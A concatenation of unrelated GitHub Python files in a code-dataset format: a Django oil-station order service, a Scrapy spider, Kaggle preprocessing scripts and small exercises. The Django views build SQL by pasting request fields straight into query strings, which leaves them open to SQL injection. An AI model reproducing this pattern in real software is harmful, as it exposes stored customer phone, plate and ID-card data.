#判断客户信息存不存在,存在不插入,不存在插入\n with connection.cursor() as cursor2:\n cursor2.execute(sal)\n cus=cursor2.fetchall()\n flag=0\n for i in range(len(cus)):\n #查询出的手机号\n c_phone=cus[i][0]\n #print(c_phone)\n #查询出的车牌号\n c_car=cus[i][1]\n #print(c_car)\n #查询出的身份证号\n c_id=cus[i][2]\n #print(c_id)\n if c_phone == cus_p and c_car == cus_c and c_id == cus_id :\n print(\"break\")\n break\n else:\n print(\"next\")\n flag+=1\n print(flag)\n if flag == len(cus) :\n cursor2.execute(sol)\n print(\"insert\")\n \n #执行插入订单一部分信息\n with connection.cursor() as cursor1:\n #先查询出客户id\n cursor1.execute(sel)\n data1 = cursor1.fetchall()\n print(data1)\n #客户id\n cu_id=str(data1[0][0])\n print(cu_id)\n #插入订单表的一部分信息\n #sql1=\"insert into order_detail (volumn,ordertime) values (\"+'\\''+oil_val+'\\''+','+'\\''+t_date+'\\''+\")\"\n szl=\"insert into order_detail (volumn,registertime,ordertime,customer_id) values (\"+'\\''+oil_val+'\\''+','+'\\''+date_str+'\\''+','+'\\''+t_date+'\\''+','+'\\''+cu_id+'\\''+\")\"\n print(szl)\n cursor1.execute(szl)\n zv=\"insert into customer (id,phone_num,car_num,id_card) values (\"+'\\''+cu_id+'\\''+',''\\''+cus_p+'\\''+','+'\\''+cus_c+'\\''+','+'\\''+cus_id+'\\''+\")\"\n UDPClient.sendMessage(zv)\n return JsonResponse(jsonObject,safe=False,json_dumps_params={'ensure_ascii': False})\n\n\n#根数输入的信息生成订单\ndef makelist(request):\n if request.method == 'POST':\n print(request.body)\n jsonstr=request.body\n object=json.loads(jsonstr)\n area_name=object['area_id']\n oilcan_name=object['oilcan_id']\n oilpipe_name=object['oilpipe_id']\n print(oilpipe_name)\n with connection.cursor() as cursor:\n #查询出更新哪条oilpipe\n swl='select order_detail.id from order_detail'\n cursor.execute(swl)\n data = cursor.fetchall()\n le=str(len(data))\n #更新oilpipeid\n sqp='update order_detail set oilpipe_id='+'\\''+oilpipe_name+'\\''+'where order_detail.id='+'\\''+le+'\\''\n al=\"insert into order_detail (id,oilpipe_id,volumn,registertime,ordertime,customer_id) values (\"+'\\''+le+'\\''+','+'\\''+oilpipe_name+'\\''+','+'\\''+oil_val+'\\''+','+'\\''+date_str+'\\''+','+'\\''+t_date+'\\''+','+'\\''+cu_id+'\\''+\")\"\n cursor.execute(sqp)\n print(sqp)\n UDPClient.sendMessage(al)\n print(al)\n #transaction.set_dirty()\n #查询出所有需要的订单信息\n sal='select order_detail.id,'\\\n 'customer.PHONE_NUM,'\\\n 'customer.CAR_NUM,'\\\n 'customer.ID_CARD,'\\\n 'order_detail.VOLUMN,'\\\n 'order_detail.REGISTERTIME,'\\\n 'order_detail.OILPIPE_ID,'\\\n 'oilcan.id,'\\\n 'area.ID,'\\\n 'order_detail.`STATUS`,'\\\n 'order_detail.staff_s,'\\\n 'order_detail.ORDERTIME,'\\\n 'order_detail.STARTTIME,'\\\n 'order_detail.FINISHTIME FROM order_detail,customer,oilcan,area,oilpipe where order_detail.CUSTOMER_ID=customer.ID AND order_detail.OILPIPE_ID=oilpipe.ID AND oilpipe.OILCAN_ID=oilcan.ID AND area.ID=oilcan.AREA_ID order by order_detail.id'\n print(sal)\n cursor.execute(sal)\n deta = cursor.fetchall()\n print (deta)\n jsonObject=[]\n for row in deta:\n result={}\n result['id'] =row[0]\n #print(result['id'])\n result['phone'] =row[1]\n #print(result['phone'])\n result['car'] =row[2]\n result['id_card'] =row[3]\n result['volumn'] =row[4]\n #print(result['volumn'])\n result['reg_time'] =row[5]\n #print(result['reg_time'])\n result['oilpipe_id'] =row[6]\n result['oilcan_id'] =row[7]\n result['area_id'] =row[8]\n result['statu'] =row[9]\n result['sta'] =row[10]\n result['ord_time'] =row[11]\n result['st_time'] =row[12]\n result['fi_time'] =row[13]\n jsonObject.append(result)\n print(jsonObject)\n return JsonResponse(jsonObject,safe=False,json_dumps_params={'ensure_ascii': False})\n\n\n#查看清单列表\ndef listshow(request):\n if request.method == 'POST':\n print(request.body)\n jsonstr = request.body\n object = json.loads(jsonstr)\n staff_name = object['staff_name']\n cus_phone = object['cus_phone']\n be_time = object['be_time']\n fi_time = object['fi_time']\n order_state = object['state']\n with connection.cursor() as cursor:\n # 查询出所有需要的订单信息\n spl = 'select order_detail.id,' \\\n 'customer.PHONE_NUM,' \\\n 'customer.CAR_NUM,' \\\n 'customer.ID_CARD,' \\\n 'order_detail.VOLUMN,' \\\n 'order_detail.REGISTERTIME,' \\\n 'order_detail.OILPIPE_ID,' \\\n 'oilcan.id,' \\\n 'area.ID,' \\\n 'order_detail.`STATUS`,' \\\n 'order_detail.staff_s,' \\\n 'order_detail.ORDERTIME,' \\\n 'order_detail.STARTTIME,' \\\n 'order_detail.FINISHTIME FROM order_detail,customer,oilcan,area,oilpipe where order_detail.CUSTOMER_ID=customer.ID AND order_detail.OILPIPE_ID=oilpipe.ID AND oilpipe.OILCAN_ID=oilcan.ID AND area.ID=oilcan.AREA_ID '\n print(spl)\n # 条件查询字符串拼接\n\n if staff_name == '':\n print(staff_name)\n else:\n spl = spl + ' AND order_detail.staff_s= ' + '\"' + staff_name + '\"'\n if cus_phone == '':\n print(cus_phone)\n else:\n spl = spl + ' AND customer.phone_num= ' + '\"' + cus_phone + '\"'\n if be_time == '':\n print(be_time)\n else:\n spl = spl + ' AND order_detail.starttime=' + '\"' + be_time + '\"'\n if fi_time == '':\n print(fi_time)\n else:\n spl = spl + ' AND order_detail.finishtime=' + '\"' + fi_time+ '\"'\n if order_state == '':\n print(order_state)\n else:\n spl = spl + ' AND order_detail.status=' + '\"' + order_state + '\"'\n spl=spl+'order by order_detail.id'\n\n\n\n cursor.execute(spl)\n dta = cursor.fetchall()\n print (dta)\n jsonObject = []\n for row in dta:\n result = {}\n result['id'] = row[0]\n # print(result['id'])\n result['phone'] = row[1]\n # print(result['phone'])\n result['car'] = row[2]\n result['id_card'] = row[3]\n result['volumn'] = row[4]\n # print(result['volumn'])\n result['reg_time'] = row[5]\n # print(result['reg_time'])\n result['oilpipe_id'] = row[6]\n result['oilcan_id'] = row[7]\n result['area_id'] = row[8]\n result['statu'] = row[9]\n result['sta'] = row[10]\n result['ord_time'] = row[11]\n result['st_time'] = row[12]\n result['fi_time'] = row[13]\n jsonObject.append(result)\n print(jsonObject)\n return JsonResponse(jsonObject, safe=False, json_dumps_params={'ensure_ascii': False})\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n \n\n\n \n\n\n\n\n","repo_name":"playboyzhang/Intelligent-device-management-system","sub_path":"后端/mysite4/mysite4/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":10401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35257870662","text":"import scrapy\nimport json\nimport pymysql\nimport time\nimport datetime\nimport jianshu.settings as settings\nfrom ..items import UserItem\nfrom ..items import ArticleItem\n\nUSER = []\nURL = 'https://www.jianshu.com'\n\n# class Spider(scrapy.Spider):\n# name = 'ip'\n# allowed_domains = []\n\n# def start_requests(self):\n\n# url = 'http://ip.chinaz.com/getip.aspx'\n\n# for i in range(4):\n# yield scrapy.Request(url=url, callback=self.parse, dont_filter=True)\n\n# def parse(self,response):\n# print(response.text)\n\nclass Article(scrapy.Spider):\n\n custom_settings = {\n 'ITEM_PIPELINES': {\n 'jianshu.pipelines.Article': 300\n }\n }\n db = pymysql.connect( settings.MYSQL_HOST,settings.MYSQL_USER,settings.MYSQL_PASSWORD,settings.MYSQL_DBNAME,charset='utf8mb4' )\n cursor = db.cursor()\n sql = \"select id,name,url from user where 'delete' = 0\"\n try:\n cursor.execute(sql)\n results = cursor.fetchall()\n for item in results:\n if item is not None:\n temp = UserItem()\n temp['id'] = item[0]\n temp['name'] = item[1]\n temp['url'] = item[2]+'?order_by=shared_at&page=1&per_page=99999'\n USER.append(temp)\n except Exception as e:\n raise e\n print(\"得到用户信息出错\")\n finally:\n cursor.close()\n db.close()\n \n #https://www.jianshu.com/u/192ee953c33d?order_by=shared_at&page=2&per_page=20\n #https://www.jianshu.com/u/4c37355883d7?order_by=shared_at&page=1&per_page=9999\n\n name = 'article'\n start_urls = [ x['url'] for x in USER ]\n # start_urls = ['https://www.jianshu.com/u/192ee953c33d?order_by=shared_at&page=1&per_page=9999']\n\n def parse(self,response):\n\n oLis = response.css('#list-container .note-list li')\n \n for item in oLis:\n \n \n \n url = item.css('.title::attr(href)').extract_first()\n url = URL+url\n \n yield scrapy.Request(url, self.getDate, dont_filter=True)\n # yield scrapy.Request(url, self.getDate, dont_filter=True)\n # yield scrapy.Request(url, self.getDate, dont_filter=True)\n # yield scrapy.Request(url, self.getDate, dont_filter=True)\n # yield scrapy.Request(url, self.getDate, dont_filter=True)\n\n\n \n\n def getDate(self,response):\n # print(response.request.headers)\n\n\n content = response.css('.article')\n \n \n\n if content is None:\n yield scrapy.Request(response.url, self.getDate, dont_filter=True)\n # yield scrapy.Request(response.url, self.getDate, dont_filter=True)\n # yield scrapy.Request(response.url, self.getDate, dont_filter=True)\n # yield scrapy.Request(response.url, self.getDate, dont_filter=True)\n # yield scrapy.Request(response.url, self.getDate, dont_filter=True)\n\n item = ArticleItem()\n temp_time = content.css('.publish-time::text').extract_first()\n\n if temp_time is not None:\n item['url'] = response.url.split('/')[-1]\n temp_title = content.css('.title::text').extract_first()\n item['title'] = temp_title if temp_title is not None else \"无题\"\n item['auth'] = content.css('.name a::attr(href)').extract_first().split('/')[-1]\n temp_content = content.extract_first()\n item['content'] = temp_content if temp_content is not None else \"无内容\"\n # print(temp_time)\n temp_time = temp_time.replace(\"*\",\"\") #2017.11.19 12:04* 转换为2017.11.19 12:04\n # print(temp_time)\n item['time'] = int(time.mktime(time.strptime(temp_time, \"%Y.%m.%d %H:%M\")))\n item['in_time'] = int(time.time())\n\n ytd_star = int(time.mktime(time.strptime(str(datetime.date.today() - datetime.timedelta(days=1)), '%Y-%m-%d'))) #昨天0.00\n ytd_end = int(time.mktime(time.strptime(str(datetime.date.today()), '%Y-%m-%d'))) - 1 #昨天23.59\n \n if( ytd_star <= item['time'] and item['time'] <= ytd_end ):\n #print(\"昨天\")\n yield item\n # else:\n #print(\"不是昨天\")\n # pass\n\n else:\n yield scrapy.Request(response.url, self.getDate, dont_filter=True)\n # yield scrapy.Request(response.url, self.getDate, dont_filter=True)\n # yield scrapy.Request(response.url, self.getDate, dont_filter=True)\n # yield scrapy.Request(response.url, self.getDate, dont_filter=True)\n # yield scrapy.Request(response.url, self.getDate, dont_filter=True)\n\n","repo_name":"mrzhouxu/jianshu","sub_path":"jianshu/spiders/article.py","file_name":"article.py","file_ext":"py","file_size_in_byte":4752,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73503522293","text":"#Credit goes to https://www.youtube.com/watch?v=s7AvT7cGdSo\n\ndef permute(nums):\n result = []\n\n #base case\n if(len(nums) == 1):\n return [nums[:]]\n \n for i in range(len(nums)):\n n = nums.pop(0)\n perms = permute(nums)\n\n for perm in perms:\n perm.append(n)\n result.extend(perms)\n nums.append(n)\n \n return result\n\ndef example():\n list_ = [1,2,3,4,5]\n res = permute(list_)\n print(res)\n\nif __name__ == \"__main__\":\n example()","repo_name":"abealsileshi/InterviewPrep","sub_path":"leet46_permutation.py","file_name":"leet46_permutation.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12459741367","text":"from sklearn.model_selection import GroupKFold\nimport pandas as pd\nimport numpy as np\nimport os\nimport cv2\nfrom tqdm import tqdm\nimport multiprocessing as mp\nimport pydicom\n\n\nROOT = \"./input/rsna-2022-cervical-spine-fracture-detection/\"\n\nmeta = pd.read_csv(ROOT + \"meta_segmentation.csv\")\nprint(meta[\"ImageHeight\"].unique(), meta[\"ImageWidth\"].unique())\n\nmeta[\"Image\"] = (\n meta[\"StudyInstanceUID\"].astype(str) + \"/\" + meta[\"Slice\"].astype(str) + \".dcm\"\n)\n\nN_FOLDS = 5\n\nsplit = GroupKFold(N_FOLDS)\nfor k, (_, test_idx) in enumerate(split.split(meta, groups=meta.StudyInstanceUID)):\n meta.loc[test_idx, \"fold\"] = k\n\nmeta.to_csv(ROOT + \"meta_wirbel_dcm_v0.csv\", index=False)\n\nMASK_FOLDER = ROOT + \"masks_2d/\"\n\nseg_labels = os.listdir(ROOT + \"/segmentations/\")\nlen(seg_labels), seg_labels[:5]\n\n\ntrain = pd.read_csv(ROOT + \"meta_wirbel_dcm_v0.csv\")\n\n\ndef load_mask(fp):\n mask = cv2.imread(fp, cv2.IMREAD_UNCHANGED)\n return mask\n\n\ntargets = np.zeros((train.shape[0], 7))\n\n\nfor i, img_fn in tqdm(enumerate(train[\"Image\"].values), total=len(train)):\n fn = img_fn.replace(\"dcm\", \"png\")\n fp = MASK_FOLDER + fn\n mask = load_mask(fp)\n mask[mask > 7] = 0\n l = np.unique(mask)[1:] - 1\n targets[i, l] = 1\n\n\nold_targets = train[[\"C1\", \"C2\", \"C3\", \"C4\", \"C5\", \"C6\", \"C7\"]].values\n\n\nc = (targets == old_targets).mean(1)\n\ntrain[[\"C1\", \"C2\", \"C3\", \"C4\", \"C5\", \"C6\", \"C7\"]] = targets\n\n\ntrain.to_csv(ROOT + \"meta_wirbel_dcm_v1.csv\", index=False)\n\n\n# fix folds\nfolds = (\n pd.read_csv(ROOT + \"train_folded_v1.csv\", usecols=[\"StudyInstanceUID\", \"fold\"])\n .set_index(\"StudyInstanceUID\")\n .to_dict()[\"fold\"]\n)\n\n\ntrain_old = train.copy()\n\n\ntrain[\"fold\"] = train[\"StudyInstanceUID\"].map(folds)\n\n\ntrain.to_csv(ROOT + \"meta_wirbel_dcm_v2.csv\", index=False)\n\n\ndicom_imgs = []\nfor item in seg_labels:\n study_id = item[:-4]\n fns = os.listdir(f\"{ROOT}train_images/{study_id}/\")\n dicom_imgs += [f\"{study_id}/{fn}\" for fn in fns]\n\n\nset(dicom_imgs) == set(train[\"Image\"].values)\n\n\ndf = pd.read_csv(ROOT + \"train.csv\")\n\n\nstudy_ids = df[\"StudyInstanceUID\"].unique()\n\n\ndef load_dicom(path):\n \"\"\"\n This supports loading both regular and compressed JPEG images.\n See the first sell with `pip install` commands for the necessary dependencies\n \"\"\"\n img = pydicom.dcmread(path)\n img.PhotometricInterpretation = \"YBR_FULL\"\n data = img.pixel_array\n data = data - np.min(data)\n if np.max(data) != 0:\n data = data / np.max(data)\n data = (data * 255).astype(np.uint8)\n return cv2.cvtColor(data, cv2.COLOR_GRAY2RGB), img\n\n\ndef get_dicom_meta(path):\n \"\"\"\n This supports loading both regular and compressed JPEG images.\n See the first sell with `pip install` commands for the necessary dependencies\n \"\"\"\n img = pydicom.dcmread(path)\n img.PhotometricInterpretation = \"YBR_FULL\"\n ipp = img.ImagePositionPatient\n th = img.SliceThickness\n shape = img.pixel_array.shape\n\n return ipp, th, shape\n\n\ndef do_one(study_id):\n fns = os.listdir(f\"{ROOT}train_images/{study_id}/\")\n slices = np.sort([int(item[:-4]) for item in fns])\n metas = [get_dicom_meta(f\"{ROOT}train_images/{study_id}/{s}.dcm\") for s in slices]\n ImagePositionPatient = [m[0] for m in metas]\n SliceThickness = [m[1] for m in metas]\n StudyInstanceUID = [study_id] * len(metas)\n Slice = [s for s in slices]\n Shape = [m[2] for m in metas]\n df_meta = pd.DataFrame({\"StudyInstanceUID\": StudyInstanceUID, \"Slice\": Slice})\n df_meta[\n [\"ImagePositionPatient_x\", \"ImagePositionPatient_y\", \"ImagePositionPatient_z\"]\n ] = ImagePositionPatient\n df_meta[[\"ImageHeight\", \"ImageWidth\"]] = Shape\n df_meta[\"SliceThickness\"] = SliceThickness\n return df_meta\n\n\nwith mp.Pool(16) as p:\n res = list(tqdm(p.imap(do_one, study_ids), total=len(study_ids)))\n\ndf_meta = pd.concat(res)\n\n\ndf_meta[[\"C1\", \"C2\", \"C3\", \"C4\", \"C5\", \"C6\", \"C7\", \"fold\"]] = 0\n\n\ndf_meta[\"Image\"] = (\n df_meta[\"StudyInstanceUID\"] + \"/\" + df_meta[\"Slice\"].astype(str) + \".dcm\"\n)\n\ndf_meta = df_meta[train.columns]\n\ndf_meta.to_csv(ROOT + \"test_meta_wirbel_dcm_v1.csv\", index=False)\n\n# fix folds\ndf_meta[\"fold\"] = df_meta[\"StudyInstanceUID\"].map(folds)\n\ndf_meta.to_csv(ROOT + \"test_meta_wirbel_dcm_v2.csv\", index=False)\n","repo_name":"pascal-pfeiffer/kaggle-rsna-2022-5th-place","sub_path":"scripts/get_meta_wirbel_dcm_v1_and_v2.py","file_name":"get_meta_wirbel_dcm_v1_and_v2.py","file_ext":"py","file_size_in_byte":4238,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"3114210624","text":"'''\nCreated on Nov. 30, 2020\n\n@author: zollen\n'''\n\nimport pandas as pd\nimport numpy as np\nimport math\nfrom sklearn.preprocessing import RobustScaler\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.experimental import enable_iterative_imputer\nfrom sklearn.impute import IterativeImputer, KNNImputer\nfrom lightgbm import LGBMClassifier, LGBMRegressor\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import cross_val_score\nfrom scipy.stats import skew, boxcox_normmax\nfrom scipy.special import boxcox1p\n\ndef rmse_cv(model, data, label, n_folds):\n kf = KFold(n_folds, shuffle=True, random_state=87).get_n_splits(data.values)\n rmse = np.sqrt(-1 * cross_val_score(model, \n data.values, label, scoring=\"neg_mean_squared_error\", cv = kf))\n return np.mean(rmse)\n\n\ndef feature_engineering1(df1, df2):\n \n df1['OverallQual'] = df1['OverallQual'] * df1['OverallCond']\n df2['OverallQual'] = df2['OverallQual'] * df2['OverallCond']\n\n df1.drop(columns = ['OverallCond'], inplace = True)\n df2.drop(columns = ['OverallCond'], inplace = True)\n\n def mergeSold(rec):\n yrSold = rec['YrSold']\n moSold = rec['MoSold']\n \n years = {2006: 0, 2007: 1, 2008: 2, 2009: 3, 2010: 4}\n \n return round(years[yrSold] + (moSold / 12), 2)\n \n \n df1['YrSold'] = df1.apply(mergeSold, axis = 1)\n df2['YrSold'] = df2.apply(mergeSold, axis = 1)\n\n df1.drop(columns = ['MoSold'], inplace = True)\n df2.drop(columns = ['MoSold'], inplace = True)\n\n df1['TotalSF'] = df1['TotalBsmtSF'] + df1['1stFlrSF'] + df1['2ndFlrSF'] + df1['OpenPorchSF']\n df2['TotalSF'] = df2['TotalBsmtSF'] + df2['1stFlrSF'] + df2['2ndFlrSF'] + df2['OpenPorchSF']\n\n df1['ExterQual'] = df1['ExterQual'].map({'Po': 1, 'Fa': 2, 'TA': 3, 'Gd': 4, 'Ex': 5})\n df2['ExterQual'] = df2['ExterQual'].map({'Po': 1, 'Fa': 2, 'TA': 3, 'Gd': 4, 'Ex': 5})\n df1['ExterCond'] = df1['ExterCond'].map({'Po': 1, 'Fa': 2, 'TA': 3, 'Gd': 4, 'Ex': 5})\n df2['ExterCond'] = df2['ExterCond'].map({'Po': 1, 'Fa': 2, 'TA': 3, 'Gd': 4, 'Ex': 5})\n\n df1['ExterQual'] = df1['ExterQual'] * df1['ExterCond']\n df2['ExterQual'] = df2['ExterQual'] * df2['ExterCond']\n\n df1.drop(columns = ['ExterCond'], inplace = True)\n df2.drop(columns = ['ExterCond'], inplace = True)\n\ndef feature_engineering2(df1, df2):\n\n df1[\"BuiltAge\"] = df1[\"YrSold\"] - df1[\"YearBuilt\"]\n df1[\"RemodAge\"] = df1[\"YrSold\"] - df1[\"YearRemodAdd\"]\n df1[\"Remodeled\"] = df1[\"YearBuilt\"] != df1[\"YearRemodAdd\"]\n df1[\"BuiltAge\"] = df1[\"BuiltAge\"].apply(lambda x: 0 if x < 0 else x)\n df1[\"RemodAge\"] = df1[\"RemodAge\"].apply(lambda x: 0 if x < 0 else x)\n\n df2[\"BuiltAge\"] = df2[\"YrSold\"] - df2[\"YearBuilt\"]\n df2[\"RemodAge\"] = df2[\"YrSold\"] - df2[\"YearRemodAdd\"]\n df2[\"Remodeled\"] = df2[\"YearBuilt\"] != df2[\"YearRemodAdd\"]\n df2[\"BuiltAge\"] = df2[\"BuiltAge\"].apply(lambda x: 0 if x < 0 else x)\n df2[\"RemodAge\"] = df2[\"RemodAge\"].apply(lambda x: 0 if x < 0 else x)\n\n df1['TotalSF'] = df1['TotalBsmtSF'] + df1['1stFlrSF'] + df1['2ndFlrSF']\n df2['TotalSF'] = df2['TotalBsmtSF'] + df2['1stFlrSF'] + df2['2ndFlrSF']\n\n df1[\"SqFtPerRoom\"] = df1[\"GrLivArea\"] / (\n df1[\"TotRmsAbvGrd\"]\n + df1[\"FullBath\"]\n + df1[\"HalfBath\"]\n + df1[\"KitchenAbvGr\"]\n )\n\n df2[\"SqFtPerRoom\"] = df2[\"GrLivArea\"] / (\n df2[\"TotRmsAbvGrd\"]\n + df2[\"FullBath\"]\n + df2[\"HalfBath\"]\n + df2[\"KitchenAbvGr\"]\n )\n\n df1['HasPool'] = df1['PoolArea'].apply(lambda x: 1 if x > 0 else 0)\n df2['HasPool'] = df2['PoolArea'].apply(lambda x: 1 if x > 0 else 0)\n df1['Has2ndFlr'] = df1['2ndFlrSF'].apply(lambda x: 1 if x > 0 else 0)\n df2['Has2ndFlr'] = df2['2ndFlrSF'].apply(lambda x: 1 if x > 0 else 0)\n df1['HasGarage'] = df1['GarageArea'].apply(lambda x: 1 if x > 0 else 0)\n df2['HasGarage'] = df2['GarageArea'].apply(lambda x: 1 if x > 0 else 0)\n df1['HasBsmt'] = df1['TotalBsmtSF'].apply(lambda x: 1 if x > 0 else 0)\n df2['HasBsmt'] = df2['TotalBsmtSF'].apply(lambda x: 1 if x > 0 else 0)\n df1['HasFireplace'] = df1['Fireplaces'].apply(lambda x: 1 if x > 0 else 0)\n df2['HasFireplace'] = df2['Fireplaces'].apply(lambda x: 1 if x > 0 else 0)\n\n df1['OtherRoom'] = df1[\"TotRmsAbvGrd\"] - df1['KitchenAbvGr'] - df1['BedroomAbvGr']\n df2['OtherRoom'] = df2[\"TotRmsAbvGrd\"] - df2['KitchenAbvGr'] - df2['BedroomAbvGr']\n\ndef feature_engineering3(df1, df2):\n \n feature_engineering2(df1, df2)\n \n df1['TotalBathrooms'] = (df1['FullBath'] + (0.5 * df1['HalfBath']) + df1['BsmtFullBath'] + (0.5 * df1['BsmtHalfBath']))\n df2['TotalBathrooms'] = (df2['FullBath'] + (0.5 * df2['HalfBath']) + df2['BsmtFullBath'] + (0.5 * df2['BsmtHalfBath']))\n df1['TotalPorchSF'] = (df1['OpenPorchSF'] + df1['3SsnPorch'] + df1['EnclosedPorch'] + df1['ScreenPorch'] + df1['WoodDeckSF'])\n df2['TotalPorchSF'] = (df2['OpenPorchSF'] + df2['3SsnPorch'] + df2['EnclosedPorch'] + df2['ScreenPorch'] + df2['WoodDeckSF'])\n \n df1['TotalHomeQuality'] = df1['OverallQual'] + df1['OverallCond']\n df2['TotalHomeQuality'] = df2['OverallQual'] + df2['OverallCond']\n \ndef deSkew(df1, df2, numeric_columns):\n for name in numeric_columns:\n col_df = pd.DataFrame()\n\n col_df['NORM'] = df1[name].values\n col_df['LOG1P'] = df1[name].apply(lambda x : np.log1p(x)).values\n cb_lambda = boxcox_normmax(df1[name] + 1)\n col_df['COXBOX'] = boxcox1p(df1[name], cb_lambda).values\n \n nums = []\n \n nums.append(np.abs(skew(col_df['NORM'])))\n nums.append(np.abs(skew(col_df['LOG1P'])))\n nums.append(np.abs(skew(col_df['COXBOX'])))\n \n nums = [999 if math.isnan(x) else x for x in nums]\n \n smallest = nums.index(min(nums))\n if smallest == 1:\n df1[name] = col_df['LOG1P']\n df2[name] = df2[name].apply(lambda x : np.log1p(x)).values\n elif smallest == 2:\n df1[name] = col_df['COXBOX']\n df2[name] = boxcox1p(df2[name], cb_lambda).values\n \n if 'SalePrice' in df1:\n df1['SalePrice'] = df1['SalePrice'].apply(lambda x : np.log1p(x)) \n \n if 'SalePrice' in df2:\n df2['SalePrice'] = df2['SalePrice'].apply(lambda x : np.log1p(x)) \n \ndef write_result(name, df1, df2):\n \n df1['SalePrice'] = df1['Prediction']\n all_df = pd.concat([df1[['Id', 'SalePrice']], df2[['Id', 'SalePrice']]], ignore_index=True)\n \n all_df.to_csv(name, index = False)\n\ndef get_types(df):\n \n col_types = df.columns.to_series().groupby(df.dtypes)\n numeric_columns = []\n categorical_columns = []\n for col in col_types:\n if col[0] == 'object':\n categorical_columns = col[1].unique().tolist()\n else:\n numeric_columns += col[1].unique().tolist()\n \n return numeric_columns, categorical_columns\n \nclass AutoEncoder:\n \n def __init__(self):\n self.manifest = {}\n \n def fit(self, df):\n work_df = df.copy()\n col_types = df.columns.to_series().groupby(work_df.dtypes)\n categorical_columns = []\n \n for col in col_types:\n if col[0] == 'object':\n categorical_columns = col[1].unique().tolist()\n \n for name in categorical_columns:\n res_df = pd.DataFrame()\n keys = []\n vals = []\n grps = work_df.groupby([name])['SalePrice'].median()\n for index, _ in grps.items():\n keys.append(index)\n vals.append(grps[index])\n \n res_df['Key'] = keys\n res_df['Val'] = vals\n \n res_df.sort_values('Val', ascending = True, inplace = True)\n \n labels = res_df['Key'].tolist()\n for index, label in zip(range(0, len(labels)), labels):\n self.manifest[name + '.' + label] = index\n \n \n def transform(self, df):\n \n def Converter(name):\n def convert(val): \n return self.manifest[name + '.' + val]\n \n return convert\n \n work_df = df.copy()\n col_types = df.columns.to_series().groupby(work_df.dtypes)\n categorical_columns = []\n \n for col in col_types:\n if col[0] == 'object':\n categorical_columns = col[1].unique().tolist()\n \n for name in categorical_columns:\n converter = Converter(name)\n work_df[name] = work_df[name].apply(converter)\n \n return work_df\n \n\nclass MultStageImputer:\n \n def __init__(self, ignore_fields): \n self.ignoreFields = ignore_fields\n \n def fit_transform(self, df):\n \n work_df = df.copy()\n \n numeric_columns, categorical_columns = get_types(work_df)\n \n for field in self.ignoreFields:\n if field in numeric_columns:\n numeric_columns.remove(field)\n elif field in categorical_columns:\n categorical_columns.remove(field)\n \n missed = pd.DataFrame()\n vals = []\n allmissed = work_df.isnull().sum()\n for num in allmissed:\n vals.append(num)\n \n missed['Name'] = allmissed.index\n missed['Missed'] = vals\n \n missed = missed[missed['Missed'] > 0]\n missed.sort_values('Missed', ascending = True, inplace = True)\n helps = missed['Name'].tolist()\n \n for target in helps:\n tmp_df = work_df.copy()\n num_columns = numeric_columns.copy()\n cat_columns = categorical_columns.copy()\n target_encoder = None\n \n for name in categorical_columns:\n encoder = LabelEncoder()\n if target == name:\n target_encoder = encoder\n \n tmp_df.loc[tmp_df[name].isna() == False, name] = encoder.fit_transform(\n tmp_df.loc[tmp_df[name].isna() == False, name])\n \n \n if target in num_columns:\n num_columns.remove(target)\n elif target in cat_columns:\n cat_columns.remove(target)\n\n all_columns = num_columns + cat_columns\n \n \n for name in num_columns:\n scaler = RobustScaler()\n tmp_df.loc[tmp_df[name].isna() == False, name] = scaler.fit_transform(\n tmp_df.loc[tmp_df[name].isna() == False, name].values.reshape(-1, 1))\n \n \n imputer = KNNImputer(n_neighbors = 10)\n \n tmp_df[all_columns] = imputer.fit_transform(tmp_df[all_columns])\n \n traindf = tmp_df[tmp_df[target].isna() == False]\n testdf = tmp_df[tmp_df[target].isna() == True]\n \n if target in categorical_columns:\n model = LGBMClassifier()\n traindf[target] = traindf[target].astype('int64')\n elif target in numeric_columns:\n model = LGBMRegressor()\n \n model.fit(traindf[all_columns], traindf[target])\n testdf[target] = model.predict(testdf[all_columns])\n\n \n if target in categorical_columns:\n testdf[target] = target_encoder.inverse_transform(testdf[target])\n else:\n testdf[target] = testdf[target].apply(lambda x : 0 if x < 0 else x)\n \n work_df.loc[work_df['Id'].isin(testdf['Id']), target] = testdf[target] \n \n return work_df ","repo_name":"zollen/Python-ML","sub_path":"houseprices_kaggle/lib/house_lib.py","file_name":"house_lib.py","file_ext":"py","file_size_in_byte":11960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71003936374","text":"import os\n\nclass OrderUI:\n\n menu = ['Enter', 'Exit']\n menu1 = ['Add to cart', 'Buy', 'Logout']\n\n title = '\\nWelcome at our shopping mall!\\n'\n title1 = '\\nShop:\\n'\n title2 = 'This item is not available. Sorry!' \n title3 = 'You added item to cart'\n title4 = \"You should pay: \"\n title5 = 'Incorrect payment. Try again!'\n\n @staticmethod\n def clear():\n os.system('clear')\n\n @staticmethod\n def print(it):\n print(it)\n\n @staticmethod\n def create_menu(title, menu):\n out = title\n for n,i in enumerate(menu,1):\n out += '{}. {}\\n'.format(n,i)\n return out\n\n @staticmethod\n def user_choice(menu):\n user = 0\n while user < 1 or user > len(menu)+1:\n try:\n user = int(input('choose option: '))\n except ValueError:\n print('Invalid input!')\n \n return user\n\n @staticmethod\n def login_inputs():\n name = input('name: ').lower()\n return name\n\n @staticmethod\n def adress_inputs():\n town = input('town: ').lower()\n street = input('street: ').lower()\n number = input('number: ').lower()\n return town, street, number\n\n @staticmethod\n def create_shop(magazine):\n out = ''\n number = 1\n for k,v in magazine.shop.items():\n out += '{}. {} - available:{} price:{}\\n'.format(number, k, v[0], v[1])\n number += 1\n return out\n\n @staticmethod\n def choose_item():\n item = input('choose item: ').lower()\n return item\n\n @staticmethod\n def pay():\n try:\n payment = int(input('Make a transfer: '))\n return payment\n except ValueError:\n print('Only numbers allowed!')\n\n @staticmethod\n def create_payment_window(title, price):\n return \"{}: {}\".format(title, price)\n\n @staticmethod\n def 